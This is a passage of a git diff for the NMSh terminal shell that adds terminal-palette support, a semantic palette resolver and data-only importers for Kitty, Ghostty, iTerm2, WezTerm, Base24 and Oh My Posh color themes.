Theme Bridge ${targets.map(target => BRIDGE_TARGET_LABELS[target]).join(', ')} ${targets.length === 1 ? 'is' : 'are'} pinned to it and will become Independent.${RESET}` + : ` ${primary}Delete ${name}? This removes it from NMSh; exported files are kept.${RESET}`, ` ${subtle}Enter delete · Esc keep${RESET}`); + } + if (state.message) body.push('', ` ${secondary}${state.message}${RESET}`); + if (preview.length && !state.rename && !state.confirmDelete) { + body.push('', chromaLine, ...preview); + } + const help = state.focus === 'tabs' ? renderControls([['←→', 'switch'], ['↓', 'select'], ['Esc', 'close']]) + : renderControls([...controls, ['←→', 'tabs'], ...(state.tab === 'import' ? [] : [['Esc', 'close'] as [string, string]])]); + return finish([...head, ...body, '', help]); } diff --git a/src/appearance/customTheme.ts b/src/appearance/customTheme.ts index 96e0a887..1d8ddd8d 100644 --- a/src/appearance/customTheme.ts +++ b/src/appearance/customTheme.ts @@ -35,10 +35,27 @@ export interface CustomTheme { dark: boolean; prompt: Record; ui: Record; + /** + * Optional terminal palette facts kept from an imported terminal scheme + * (background, foreground, the 16 ANSI colors, selection, cursor). NMSh's + * own UI never paints a background from it; Theme Bridge adapters use it + * when present instead of deriving ANSI colors from the semantic roles. + */ + terminal?: TerminalPalette; /** Unknown fields from a newer schema, preserved verbatim on export. */ extra?: Record; } +export interface TerminalPalette { + background: string; + foreground: string; + /** black, red, green, yellow, blue, magenta, cyan, white, then the bright eight. */ + ansi: string[]; + selectionBackground?: string; + selectionForeground?: string; + cursor?: string; +} + const HEX = /^#[0-9a-f]{6}$/iu; const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); @@ -83,7 +100,9 @@ export function validateTheme(value: unknown): ThemeValidation { for (const role of PROMPT_THEME_ROLES) if (!validHex(prompt[role])) errors.push(`prompt.${role} must be a #rrggbb color.`); for (const role of UI_THEME_ROLES) if (!validHex(ui[role])) errors.push(`ui.${role} must be a #rrggbb color.`); if (errors.length) return {ok: false, errors}; - const known = new Set(['schema', 'version', 'name', 'basedOn', 'dark', 'prompt', 'ui', 'extra']); + const terminal = value.terminal === undefined ? undefined : normalizeTerminalPalette(value.terminal); + if (value.terminal !== undefined && !terminal) warnings.push('The terminal palette is incomplete or invalid and was not kept.'); + const known = new Set(['schema', 'version', 'name', 'basedOn', 'dark', 'prompt', 'ui', 'terminal', 'extra']); const extra = Object.fromEntries(Object.entries(value).filter(([key]) => !known.has(key))); const basedOn = typeof value.basedOn === 'string' && NAME.test(value.basedOn) ? value.basedOn : undefined; return {ok: true, warnings, theme: { @@ -91,10 +110,20 @@ export function validateTheme(value: unknown): ThemeValidation { ...(basedOn ? {basedOn} : {}), prompt: Object.fromEntries(PROMPT_THEME_ROLES.map(role => [role, (prompt[role] as string).toLowerCase()])) as CustomTheme['prompt'], ui: Object.fromEntries(UI_THEME_ROLES.map(role => [role, (ui[role] as string).toLowerCase()])) as CustomTheme['ui'], + ...(terminal ? {terminal} : {}), ...(Object.keys(extra).length ? {extra} : {}), }}; } +/** A complete terminal palette (16 valid ANSI colors, background, foreground) or nothing. */ +export function normalizeTerminalPalette(value: unknown): TerminalPalette | undefined { + if (!isRecord(value) || !validHex(value.background) || !validHex(value.foreground) || !Array.isArray(value.ansi) + || value.ansi.length !== 16 || !value.ansi.every(validHex)) return undefined; + const optional = (key: 'selectionBackground' | 'selectionForeground' | 'cursor') => validHex(value[key]) ? {[key]: (value[key] as string).toLowerCase()} : {}; + return {background: value.background.toLowerCase(), foreground: value.foreground.toLowerCase(), ansi: (value.ansi as string[]).map(hex => hex.toLowerCase()), + ...optional('selectionBackground'), ...optional('selectionForeground'), ...optional('cursor')}; +} + /** Configuration copies of a theme survive only if valid. */ export function normalizeCustomTheme(value: unknown): CustomTheme | undefined { const result = validateTheme(value); diff --git a/src/appearance/semanticPalette.ts b/src/appearance/semanticPalette.ts new file mode 100644 index 00000000..57fddac7 --- /dev/null +++ b/src/appearance/semanticPalette.ts @@ -0,0 +1,110 @@ +import {mixRgb} from '../chroma/chroma.js'; +import {contrastRatio, hexColor, parseHexColor} from '../chroma/color.js'; +import type {RgbColor as Rgb} from '../ui/palette.js'; +import type {CustomTheme, PromptThemeRole} from './customTheme.js'; +import {themeForRef, themeRefLabel, type ThemeRef, type ThemeSource} from './themeRefs.js'; + +/** + * The one resolved, immutable semantic palette every Theme Bridge adapter + * consumes. It is static theme data: Chroma is a live presentation treatment + * and never leaks into generated configuration. Adapters translate these + * roles into their target's documented roles; none of them re-reads a theme. + */ +export interface SemanticPalette { + readonly ref: ThemeRef; + readonly name: string; + /** Whether the theme was designed for a dark terminal background. */ + readonly dark: boolean; + /** Present only when the theme carries a real terminal background (imported schemes). Otherwise adapters keep the terminal's own. */ + readonly background?: string; + readonly foreground: string; + readonly text: Readonly<{primary: string; secondary: string; subtle: string}>; + readonly accent: string; + readonly separator: string; + /** Selected/active surface and the text drawn on it. */ + readonly selection: string; + readonly selectionForeground: string; + /** A raised surface for bars and menus (status lines, popup menus), one step from the background. */ + readonly surface: string; + readonly cursor: string; + readonly success: string; + readonly warning: string; + readonly failure: string; + readonly info: string; + readonly prompt: Readonly>; + /** 16 ANSI-ish colors: the imported terminal palette when present, otherwise derived from the roles. */ + readonly ansi: readonly string[]; + /** Code roles for editor/pager targets, derived once here. */ + readonly syntax: Readonly<{comment: string; string: string; number: string; keyword: string; function: string; type: string; + constant: string; operator: string; special: string; preproc: string}>; +} + +export type PaletteResolution = {ok: true; palette: SemanticPalette} | {ok: false; reason: 'invalid' | 'missing'; label: string}; + +const BLACK: Rgb = {red: 0, green: 0, blue: 0}; +const WHITE: Rgb = {red: 255, green: 255, blue: 255}; +const rgb = (hex: string): Rgb => parseHexColor(hex)!; +const mix = (a: string, b: Rgb | string, amount: number): string => hexColor(mixRgb(rgb(a), typeof b === 'string' ? rgb(b) : b, amount)); + +/** A role color pushed until it reads against `against` (when there is a known background). */ +function legible(color: string, against: string | undefined, dark: boolean): string { + if (!against) return color; + let out = color; + for (let step = 0; step < 6 && contrastRatio(rgb(out), rgb(against)) < 3; step++) out = mix(out, dark ? WHITE : BLACK, 0.2); + return out; +} + +function deepFreeze(value: T): T { + if (value && typeof value === 'object') { + for (const item of Object.values(value as Record)) deepFreeze(item); + Object.freeze(value); + } + return value; +} + +/** The semantic palette for theme data (pure; exported for fixtures). */ +export function paletteFromTheme(theme: CustomTheme, ref: ThemeRef): SemanticPalette { + const terminal = theme.terminal; + const dark = theme.dark; + const background = terminal?.background; + // Light themes keep NMSh's dark-terminal text tiers in its own UI; external tools need text that reads on light. + const primary = terminal?.foreground ?? (dark ? theme.ui.primary : mix(theme.ui.accent, BLACK, 0.78)); + const secondary = dark ? theme.ui.secondary : mix(primary, WHITE, 0.25); + const subtle = dark ? theme.ui.subtle : mix(theme.ui.separator, BLACK, 0.2); + const surface = background ? mix(background, dark ? WHITE : BLACK, 0.08) : dark ? mix(theme.ui.selection, BLACK, 0.35) : mix(theme.ui.accent, WHITE, 0.88); + const selection = terminal?.selectionBackground ?? (dark ? theme.ui.selection : mix(theme.ui.accent, WHITE, 0.75)); + const roles = {success: legible(theme.ui.success, background, dark), warning: legible(theme.ui.warning, background, dark), + failure: legible(theme.ui.failure, background, dark), info: legible(theme.ui.info, background, dark), accent: legible(theme.ui.accent, background, dark)}; + const ansi = terminal?.ansi.slice() ?? (() => { + const base = [dark ? mix(surface, BLACK, 0.3) : subtle, roles.failure, roles.success, roles.warning, legible(theme.prompt.gitBranch, background, dark), + roles.accent, roles.info, dark ? secondary : mix(subtle, WHITE, 0.5)]; + const bright = base.map((color, index) => index === 0 ? subtle : index === 7 ? primary : mix(color, dark ? WHITE : BLACK, 0.2)); + return [...base, ...bright]; + })(); + const syntax = {comment: subtle, string: ansi[2]!, number: ansi[3]!, keyword: roles.accent, function: ansi[4]!, type: ansi[6]!, + constant: ansi[11]!, operator: secondary, special: ansi[13]!, preproc: ansi[5]!}; + return deepFreeze({ + ref, name: theme.name, dark, ...(background ? {background} : {}), foreground: primary, + text: {primary, secondary, subtle}, accent: roles.accent, separator: theme.ui.separator, + selection, selectionForeground: terminal?.selectionForeground ?? primary, surface, + cursor: terminal?.cursor ?? roles.accent, success: roles.success, warning: roles.warning, failure: roles.failure, info: roles.info, + prompt: {...theme.prompt}, ansi, syntax, + }); +} + +/** + * Resolves any selectable theme (built-in, family variant/accent, Imported, + * Custom) to its immutable semantic palette. A missing or invalid reference + * is reported; it never silently resolves to another theme. + */ +export function resolveSemanticPalette(ref: ThemeRef | undefined, source: Pick): PaletteResolution { + const resolution = themeForRef(ref, source); + if (!resolution.ok) return {ok: false, reason: resolution.reason, label: themeRefLabel(ref, source)}; + return {ok: true, palette: paletteFromTheme(resolution.theme, ref!)}; +} + +/** `#rrggbb` → `r;g;b` for SGR sequences in generated environment values. */ +export function sgrRgb(hex: string): string { + const color = rgb(hex); + return `${color.red};${color.green};${color.blue}`; +} diff --git a/src/appearance/themeImporters.ts b/src/appearance/themeImporters.ts new file mode 100644 index 00000000..e2e4356e --- /dev/null +++ b/src/appearance/themeImporters.ts @@ -0,0 +1,498 @@ +import {parseDocument} from 'yaml'; +import {parse as parseToml} from 'smol-toml'; +import {XMLParser} from 'fast-xml-parser'; +import {mixRgb} from '../chroma/chroma.js'; +import {hexColor, parseHexColor} from '../chroma/color.js'; +import { + importBase16, importWindowsTerminal, parseHexInput, sanitizeName, THEME_SCHEMA, THEME_SCHEMA_VERSION, validateTheme, + PROMPT_THEME_ROLES, ROLE_LABELS, type CustomTheme, type PromptThemeRole, type TerminalPalette, type UiThemeRole, +} from './customTheme.js'; +import {THEME_SOURCE_LABELS, type ThemeSourceKind} from './themeLibrary.js'; + +/** + * Theme import: bounded local data parsing into one NMSh Native theme. + * + * Every format is parsed as data only. Nothing is executed, sourced, + * evaluated, templated, fetched or followed: no shell, no Lua, no Oh My Posh + * templates or binary, no includes, no remote schemas or inheritance, no XML + * entities. Unsupported or dynamic source concepts become preview warnings; + * no color is invented for them. The result is ordinary NMSh Theme JSON plus + * a mapping/loss disclosure, previewed before anything is stored. + */ + +export const IMPORT_SIZE_LIMIT = 256 * 1024; + +export interface RoleMapping {role: string; from: string} + +export interface ImportPreview { + format: ThemeSourceKind; + theme: CustomTheme; + /** The source's own scheme name, sanitized. */ + sourceName?: string; + /** Where each Native role came from, for the preview. */ + mapping: RoleMapping[]; + /** Lossy mapping, ignored settings and unsupported concepts, in plain words. */ + warnings: string[]; +} + +export type ImportOutcome = ImportPreview | {errors: string[]}; +export type ImportFormatChoice = ThemeSourceKind | 'auto'; + +const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); +const ANSI_NAMES = ['black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white', 'bright black', 'bright red', 'bright green', + 'bright yellow', 'bright blue', 'bright magenta', 'bright cyan', 'bright white']; +const LOSSY = 'A terminal palette has fewer concepts than NMSh roles; roles were mapped from ANSI colors and are not a lossless conversion.'; + +function luminance(hex: string): number { + const color = parseHexColor(hex)!; + return (0.2126 * color.red + 0.7152 * color.green + 0.0722 * color.blue) / 255; +} + +const mix = (a: string, b: string, amount: number) => hexColor(mixRgb(parseHexColor(a)!, parseHexColor(b)!, amount)); + +/** Strict `#rgb` / `#rrggbb` (and the same without `#`); names and functions are not colors here. */ +function hex(value: unknown): string | undefined { + return typeof value === 'string' && /^#?(?:[0-9a-f]{3}|[0-9a-f]{6})$/iu.test(value.trim()) ? parseHexInput(value) : undefined; +} + +function finish(format: ThemeSourceKind, theme: CustomTheme, mapping: RoleMapping[], warnings: string[], sourceName?: string): ImportOutcome { + // Every generated role is validated exactly like a hand-written NMSh theme. + const checked = validateTheme(theme); + if (!checked.ok) return {errors: checked.errors}; + return {format, theme: checked.theme, mapping, warnings: [...new Set(warnings)], ...(sourceName ? {sourceName} : {})}; +} + +/** + * One terminal palette → Native roles. The same documented mapping serves + * every terminal scheme format, so Kitty, Ghostty, iTerm2, WezTerm and + * Windows Terminal schemes with the same colors give the same theme. + */ +export function themeFromTerminal(name: string, kind: ThemeSourceKind, terminal: TerminalPalette, defaults: Record): {theme: CustomTheme; mapping: RoleMapping[]} { + const a = terminal.ansi; + const dark = luminance(terminal.background) < 0.5; + const prompt: Record = {project: a[5]!, cwd: a[8]!, gitBranch: a[4]!, node: a[2]!, go: a[6]!, python: a[3]!, + docker: a[12]!, kubernetes: a[13]!, success: a[2]!, failure: a[1]!}; + const source: Record = {project: 5, cwd: 8, gitBranch: 4, node: 2, go: 6, python: 3, docker: 12, kubernetes: 13, success: 2, failure: 1}; + const selection = terminal.selectionBackground ?? a[8]!; + const ui: Record = {...defaults, accent: a[5]!, separator: a[8]!, success: a[2]!, warning: a[3]!, failure: a[1]!, info: a[6]!, + // Light schemes keep NMSh's own text tiers in NMSh UI; the terminal palette below still carries the real foreground. + ...(dark ? {primary: terminal.foreground, secondary: mix(terminal.foreground, terminal.background, 0.25), subtle: a[8]!, selection} : {})}; + const mapping: RoleMapping[] = [ + ...PROMPT_THEME_ROLES.map(role => ({role: ROLE_LABELS[role], from: `${ANSI_NAMES[source[role]]} (color${source[role]})`})), + {role: 'Accent', from: 'magenta (color5)'}, {role: 'Separator / muted', from: 'bright black (color8)'}, + {role: 'Warning / Info', from: 'yellow (color3) / cyan (color6)'}, + {role: 'Text', from: dark ? 'foreground; secondary is foreground mixed toward background' : 'NMSh text tiers (light scheme)'}, + {role: 'Selection', from: terminal.selectionBackground ? 'selection background' : 'bright black (color8)'}, + ]; + return {mapping, theme: {schema: THEME_SCHEMA, version: THEME_SCHEMA_VERSION, name: sanitizeName(name) || 'Imported theme', + basedOn: `${THEME_SOURCE_LABELS[kind]} import`, dark, prompt, ui, terminal}}; +} + +function terminalResult(kind: ThemeSourceKind, name: string, terminal: TerminalPalette, defaults: Record, warnings: string[]): ImportOutcome { + const {theme, mapping} = themeFromTerminal(name, kind, terminal, defaults); + return finish(kind, theme, mapping, [LOSSY, ...warnings, theme.dark ? 'Interpreted as a dark scheme (dark background).' : 'Interpreted as a light scheme (light background).'], theme.name); +} + +function missingAnsi(ansi: Array): string[] { + return ansi.flatMap((value, index) => value ? [] : [`color${index}`]); +} + +// ---- Kitty ----------------------------------------------------------------- + +const KITTY_COLORS: Record = {foreground: 'foreground', background: 'background', selection_background: 'selectionBackground', + selection_foreground: 'selectionForeground', cursor: 'cursor'}; + +/** + * Kitty theme/config lines: only the documented color assignments are read + * (`foreground`, `background`, `selection_*`, `cursor`, `color0`–`color15`). + * `include`/`globinclude`/`envinclude` are never followed and every other + * directive is ignored and reported. + */ +export function importKitty(text: string, fileName: string, defaults: Record): ImportOutcome { + const ansi: Array = Array(16).fill(undefined); + const facts: Partial = {}; + const ignored = new Set(); + let includes = 0; + let name = ''; + for (const raw of text.split(/\r?\n/u).slice(0, 4000)) { + const line = raw.trim(); + const meta = /^##\s*name\s*:\s*(.+)$/iu.exec(line); + if (meta && !name) name = meta[1]!; + if (!line || line.startsWith('#')) continue; + const [key = '', value = ''] = line.split(/\s+/u, 2); + if (/^(?:include|globinclude|envinclude|geninclude)$/u.test(key)) { includes++; continue; } + const color = /^color(\d{1,3})$/u.exec(key); + if (color) { + const index = Number(color[1]); + if (index < 16) { const parsed = hex(value); if (parsed) ansi[index] = parsed; else ignored.add(`${key} (not a hex color)`); } + else ignored.add('color16–color255'); + continue; + } + const field = KITTY_COLORS[key]; + if (field) { const parsed = hex(value); if (parsed) (facts as Record)[field] = parsed; else ignored.add(`${key} (not a hex color)`); continue; } + ignored.add(key); + } + const missing = [...missingAnsi(ansi), ...(!facts.background ? ['background'] : []), ...(!facts.foreground ? ['foreground'] : [])]; + if (missing.length) return {errors: [`Not a complete Kitty color theme: missing ${missing.join(', ')}.`]}; + const warnings = [ + ...(includes ? [`${includes} include directive${includes === 1 ? ' was' : 's were'} not followed; only this file was read.`] : []), + ...(ignored.size ? [`Non-color Kitty settings were not imported: ${[...ignored].slice(0, 8).join(', ')}${ignored.size > 8 ? '…' : ''}.`] : []), + ]; + return terminalResult('kitty', name || fileStem(fileName), {...facts, ansi: ansi as string[]} as TerminalPalette, defaults, warnings); +} + +// ---- Ghostty --------------------------------------------------------------- + +const GHOSTTY_ALLOWED: Record = {background: 'background', foreground: 'foreground', 'selection-background': 'selectionBackground', + 'selection-foreground': 'selectionForeground', 'cursor-color': 'cursor'}; + +/** + * Ghostty theme files are ordinary Ghostty configuration, so a strict + * allowlist applies: `palette = N=#hex`, background/foreground, + * selection colors and cursor color. `config-file` is never followed; every + * other key is ignored and named in the preview. + */ +export function importGhostty(text: string, fileName: string, defaults: Record): ImportOutcome { + const ansi: Array = Array(16).fill(undefined); + const facts: Partial = {}; + const ignored = new Set(); + let includes = 0; + for (const raw of text.split(/\r?\n/u).slice(0, 4000)) { + const line = raw.trim(); + if (!line || line.startsWith('#')) continue; + const match = /^([a-z0-9-]+)\s*=\s*(.*)$/u.exec(line); + if (!match) { ignored.add('unrecognized lines'); continue; } + const key = match[1]!; + const value = match[2]!.trim().replace(/^"(.*)"$/u, '$1'); + if (key === 'config-file') { includes++; continue; } + if (key === 'palette') { + const entry = /^(\d{1,3})\s*=\s*(#?[0-9a-fA-F]{3,6})$/u.exec(value); + const index = entry ? Number(entry[1]) : NaN; + const parsed = entry ? hex(entry[2]) : undefined; + if (index < 16 && parsed) ansi[index] = parsed; + else if (index >= 16) ignored.add('palette 16–255'); + else ignored.add('palette (not a hex color)'); + continue; + } + const field = GHOSTTY_ALLOWED[key]; + if (field) { const parsed = hex(value); if (parsed) (facts as Record)[field] = parsed; else ignored.add(`${key} (not a hex color)`); continue; } + ignored.add(key); + } + const missing = [...missingAnsi(ansi), ...(!facts.background ? ['background'] : []), ...(!facts.foreground ? ['foreground'] : [])]; + if (missing.length) return {errors: [`Not a complete Ghostty theme: missing ${missing.join(', ')}.`]}; + const warnings = [ + ...(includes ? ['config-file includes were not followed; only this file was read.'] : []), + ...(ignored.size ? [`Ghostty non-color options were ignored: ${[...ignored].slice(0, 8).join(', ')}${ignored.size > 8 ? '…' : ''}.`] : []), + ]; + return terminalResult('ghostty', fileStem(fileName), {...facts, ansi: ansi as string[]} as TerminalPalette, defaults, warnings); +} + +// ---- iTerm2 ---------------------------------------------------------------- + +type OrderedNode = Record; + +/** The ordered key/value pairs of a plist `` (fast-xml-parser preserveOrder output). */ +function plistDict(children: OrderedNode[]): Array<[string, OrderedNode]> { + const pairs: Array<[string, OrderedNode]> = []; + let key: string | undefined; + for (const child of children.slice(0, 2000)) { + const tag = Object.keys(child).find(name => name !== ':@'); + if (!tag) continue; + if (tag === 'key') key = textOf(child.key as OrderedNode[]); + else if (key !== undefined) { pairs.push([key, child]); key = undefined; } + } + return pairs; +} + +function textOf(nodes: OrderedNode[] | string | undefined): string { + if (!Array.isArray(nodes)) return ''; + return nodes.map(node => typeof node['#text'] === 'string' ? node['#text'] : '').join('').trim(); +} + +/** + * `.itermcolors` property lists. The XML is bounded, a DOCTYPE internal subset + * or any ENTITY declaration is rejected outright (no entity expansion at all), + * nothing external is resolved, and only the color dictionaries are read. + */ +export function importITerm2(text: string, fileName: string, defaults: Record): ImportOutcome { + if (/]*\[/iu.test(text)) return {errors: ['XML entity declarations are not accepted in theme files.']}; + let root: OrderedNode[]; + try { + const parser = new XMLParser({preserveOrder: true, processEntities: false, htmlEntities: false, ignoreDeclaration: true, ignorePiTags: true, + ignoreAttributes: true, parseTagValue: false, trimValues: true}); + root = parser.parse(text) as OrderedNode[]; + } catch { + return {errors: ['Not a valid iTerm2 color scheme (.itermcolors) file.']}; + } + const plist = root.find(node => 'plist' in node)?.plist as OrderedNode[] | undefined; + const dict = plist?.find(node => 'dict' in node)?.dict as OrderedNode[] | undefined; + if (!dict) return {errors: ['Not an iTerm2 color scheme: no color dictionary.']}; + const warnings = new Set(); + const colors = new Map(); + for (const [key, value] of plistDict(dict)) { + if (!('dict' in value)) continue; + const components = new Map(plistDict(value.dict as OrderedNode[]).map(([name, node]) => [name, node])); + const channel = (name: string) => { + const node = components.get(`${name} Component`); + const number = node && ('real' in node || 'integer' in node) ? Number(textOf((node.real ?? node.integer) as OrderedNode[])) : NaN; + return Number.isFinite(number) ? Math.max(0, Math.min(255, Math.round(number * 255))) : undefined; + }; + const [red, green, blue] = [channel('Red'), channel('Green'), channel('Blue')]; + if (red === undefined || green === undefined || blue === undefined) continue; + const space = components.get('Color Space'); + const spaceName = space && 'string' in space ? textOf(space.string as OrderedNode[]) : ''; + if (spaceName && spaceName !== 'sRGB' && spaceName !== 'Calibrated') warnings.add(`Some colors use the ${sanitizeName(spaceName)} color space; their components were read as sRGB.`); + colors.set(key, hexColor({red, green, blue})); + } + const ansi = Array.from({length: 16}, (_, index) => colors.get(`Ansi ${index} Color`)); + const background = colors.get('Background Color'); + const foreground = colors.get('Foreground Color'); + const missing = [...missingAnsi(ansi), ...(!background ? ['Background Color'] : []), ...(!foreground ? ['Foreground Color'] : [])]; + if (missing.length) return {errors: [`Not a complete iTerm2 color scheme: missing ${missing.join(', ')}.`]}; + const terminal: TerminalPalette = {background: background!, foreground: foreground!, ansi: ansi as string[], + ...(colors.get('Selection Color') ? {selectionBackground: colors.get('Selection Color')!} : {}), + ...(colors.get('Selected Text Color') ? {selectionForeground: colors.get('Selected Text Color')!} : {}), + ...(colors.get('Cursor Color') ? {cursor: colors.get('Cursor Color')!} : {})}; + const known = new Set([...Array.from({length: 16}, (_, index) => `Ansi ${index} Color`), 'Background Color', 'Foreground Color', 'Selection Color', 'Selected Text Color', 'Cursor Color']); + const extra = [...colors.keys()].filter(key => !known.has(key)); + if (extra.length) warnings.add(`iTerm2-only colors have no NMSh role and were not imported: ${extra.slice(0, 6).map(sanitizeName).join(', ')}${extra.length > 6 ? '…' : ''}.`); + return terminalResult('iterm2', fileStem(fileName), terminal, defaults, [...warnings]); +} + +// ---- WezTerm --------------------------------------------------------------- + +export const WEZTERM_LUA_GUIDANCE = 'WezTerm Lua configuration is executable and is never evaluated. Export or choose a declarative WezTerm TOML color scheme (with a [colors] table) and import that instead.'; + +export function looksLikeLua(text: string, fileName: string): boolean { + return /\.lua$/iu.test(fileName) || /\brequire\s*\(?\s*["']wezterm["']/u.test(text) || /^\s*return\s*\{/mu.test(text) || /^\s*local\s+\w+\s*=/mu.test(text); +} + +/** Declarative WezTerm TOML color schemes: `[colors]` (ansi, brights, foreground, background, selection, cursor) and `[metadata] name`. */ +export function importWezTermToml(data: Record, fileName: string, defaults: Record): ImportOutcome { + const colors = isRecord(data.colors) ? data.colors : undefined; + if (!colors) return {errors: ['Not a WezTerm color scheme: no [colors] table.']}; + const list = (value: unknown) => Array.isArray(value) && value.length === 8 ? value.map(hex) : Array(8).fill(undefined); + const ansi = [...list(colors.ansi), ...list(colors.brights)]; + const background = hex(colors.background); + const foreground = hex(colors.foreground); + const missing = [...missingAnsi(ansi), ...(!background ? ['background'] : []), ...(!foreground ? ['foreground'] : [])]; + if (missing.length) return {errors: [`Not a complete WezTerm color scheme: missing ${missing.join(', ')}.`]}; + const known = new Set(['ansi', 'brights', 'foreground', 'background', 'selection_bg', 'selection_fg', 'cursor_bg', 'cursor_fg', 'cursor_border']); + const extra = Object.keys(colors).filter(key => !known.has(key)); + const metadata = isRecord(data.metadata) ? data.metadata : {}; + const name = typeof metadata.name === 'string' ? metadata.name : fileStem(fileName); + const terminal: TerminalPalette = {background: background!, foreground: foreground!, ansi: ansi as string[], + ...(hex(colors.selection_bg) ? {selectionBackground: hex(colors.selection_bg)!} : {}), + ...(hex(colors.selection_fg) ? {selectionForeground: hex(colors.selection_fg)!} : {}), + ...(hex(colors.cursor_bg) ? {cursor: hex(colors.cursor_bg)!} : {})}; + const ignoredTables = Object.keys(data).filter(key => key !== 'colors' && key !== 'metadata'); + return terminalResult('wezterm', name, terminal, defaults, [ + ...(extra.length ? [`WezTerm color keys without an NMSh role were not imported: ${extra.slice(0, 6).join(', ')}${extra.length > 6 ? '…' : ''}.`] : []), + ...(ignoredTables.length ? [`Non-color tables were ignored: ${ignoredTables.slice(0, 6).join(', ')}.`] : []), + ]); +} + +// ---- Base24 ---------------------------------------------------------------- + +// Base24 styling 0.1.3: the documented ANSI 0–15 sources. +const BASE24_ANSI = ['base00', 'base08', 'base0b', 'base0a', 'base0d', 'base0e', 'base0c', 'base05', 'base03', 'base12', 'base14', 'base13', 'base16', 'base17', 'base15', 'base07']; + +function schemeColors(data: Record): Record { + const source = isRecord(data.palette) ? data.palette : data; + const out: Record = {}; + for (const [key, value] of Object.entries(source)) { + const parsed = hex(value); + if (/^base[01][0-9a-f]$/iu.test(key) && parsed) out[key.toLowerCase()] = parsed; + } + return out; +} + +/** + * Base24 (tinted-theming): all 24 colors are required; ANSI comes from the + * spec's documented terminal mapping. Nothing missing is guessed. + */ +export function importBase24(data: Record, defaults: Record): ImportOutcome { + const colors = schemeColors(data); + const keys = [...Array.from({length: 16}, (_, index) => `base0${index.toString(16)}`), ...Array.from({length: 8}, (_, index) => `base1${index}`)]; + const missing = keys.filter(key => !colors[key]); + if (missing.length) return {errors: [`Not a complete Base24 scheme: missing ${missing.join(', ')}.`]}; + const name = typeof data.name === 'string' ? data.name : typeof data.scheme === 'string' ? data.scheme : 'Imported Base24'; + const terminal: TerminalPalette = {background: colors.base00!, foreground: colors.base05!, ansi: BASE24_ANSI.map(key => colors[key]!), + selectionBackground: colors.base02!, cursor: colors.base05!}; + const {theme, mapping} = themeFromTerminal(name, 'base24', terminal, defaults); + // Base24 names its semantic slots, so the dark-surface and comment roles come from them directly. + if (theme.dark) theme.ui = {...theme.ui, subtle: colors.base03!, separator: colors.base03!, selection: colors.base02!, secondary: colors.base04!}; + theme.prompt.cwd = colors.base02!; + return finish('base24', theme, [...mapping, {role: 'Path / selection / muted', from: 'base02 / base02 / base03'}], + [LOSSY, 'base09, base0F, base10, base11 and base06 have no NMSh role and were not imported.', + theme.dark ? 'Interpreted as a dark scheme (dark base00).' : 'Interpreted as a light scheme (light base00).'], theme.name); +} + +// ---- Oh My Posh ------------------------------------------------------------ + +const OMP_ROLE: Record = {path: 'cwd', git: 'gitBranch', node: 'node', go: 'go', python: 'python', docker: 'docker', + kubectl: 'kubernetes', session: 'project', project: 'project', os: 'project'}; + +/** + * Oh My Posh config (JSON, YAML or TOML, already parsed as data). Only + * deterministic appearance facts are read: literal hex colors, `p:name` + * references into the static `palette`, and segment types as role hints. + * Templates, `*_templates`, conditional `palettes`, named terminal colors, + * remote/inherited configs, commands and prompt logic are never evaluated; + * each becomes a warning, and roles without a source keep NMSh defaults. + */ +export function importOhMyPosh(data: Record, fileName: string, base: CustomTheme): ImportOutcome { + const warnings = new Set(['Oh My Posh prompt logic, segments and templates are not imported; only static colors become an NMSh Native theme.']); + const palette = isRecord(data.palette) ? data.palette : {}; + if (data.palettes !== undefined) warnings.add('Conditional palettes (palettes/template) are dynamic and were ignored; the static palette was used.'); + if (data.extends !== undefined || (typeof data.$schema === 'string' && !/oh-my-posh/u.test(data.$schema))) warnings.add('Inherited or remote configuration is never fetched or merged.'); + const unresolved = new Set(); + const resolve = (value: unknown, depth = 0): string | undefined => { + if (typeof value !== 'string' || depth > 4) return undefined; + const literal = hex(value); + if (literal) return literal; + const reference = /^p:([A-Za-z0-9_.-]{1,64})$/u.exec(value.trim()); + if (reference) { + const target = palette[reference[1]!]; + const resolved = resolve(target, depth + 1); + if (!resolved) unresolved.add(value.trim()); + return resolved; + } + if (value.trim() && !/^(?:transparent|parentBackground|parentForeground|background|foreground|accent)$/u.test(value.trim())) unresolved.add(sanitizeName(value.trim())); + return undefined; + }; + const prompt: Partial> = {}; + const mapping: RoleMapping[] = []; + let accent: string | undefined; + let dynamic = 0; + const blocks = Array.isArray(data.blocks) ? data.blocks.slice(0, 32) : []; + for (const block of blocks) { + if (!isRecord(block) || !Array.isArray(block.segments)) continue; + for (const segment of block.segments.slice(0, 64)) { + if (!isRecord(segment)) continue; + if (segment.foreground_templates !== undefined || segment.background_templates !== undefined) dynamic++; + const type = typeof segment.type === 'string' ? segment.type : ''; + const fill = resolve(segment.background) ?? resolve(segment.foreground); + if (!fill) continue; + accent ??= fill; + const role = OMP_ROLE[type]; + if (role && !prompt[role]) { prompt[role] = fill; mapping.push({role: ROLE_LABELS[role], from: `${sanitizeName(type)} segment`}); } + if ((type === 'status' || type === 'exit') && !prompt.success) { prompt.success = fill; mapping.push({role: 'Success', from: `${type} segment`}); } + } + } + if (dynamic) warnings.add(`${dynamic} dynamic color template${dynamic === 1 ? ' was' : 's were'} ignored (for example foreground_templates); their static colors were used.`); + if (unresolved.size) warnings.add(`Colors that are not static hex values were not imported: ${[...unresolved].slice(0, 6).join(', ')}${unresolved.size > 6 ? '…' : ''}.`); + // Palette entries can still name roles explicitly when segments use other types. + for (const [key, value] of Object.entries(palette)) { + const role = PROMPT_THEME_ROLES.find(candidate => candidate.toLowerCase() === key.toLowerCase()); + const color = resolve(value); + if (role && color && !prompt[role]) { prompt[role] = color; mapping.push({role: ROLE_LABELS[role], from: `palette.${sanitizeName(key)}`}); } + } + if (!Object.keys(prompt).length) return {errors: ['No static Oh My Posh segment colors were found to build an NMSh theme from.']}; + const kept = PROMPT_THEME_ROLES.filter(role => !prompt[role]); + if (kept.length) warnings.add(`No Oh My Posh source for ${kept.map(role => ROLE_LABELS[role]).join(', ')}; ${kept.length === 1 ? 'it keeps' : 'they keep'} ${base.name} colors.`); + warnings.add('Oh My Posh does not define a terminal background; text tiers assume a dark terminal (change it in the editor).'); + const name = sanitizeName(fileStem(fileName).replace(/\.omp$/u, '')) || 'Oh My Posh theme'; + const theme: CustomTheme = {...structuredClone(base), name, basedOn: 'Oh My Posh import', dark: true, + prompt: 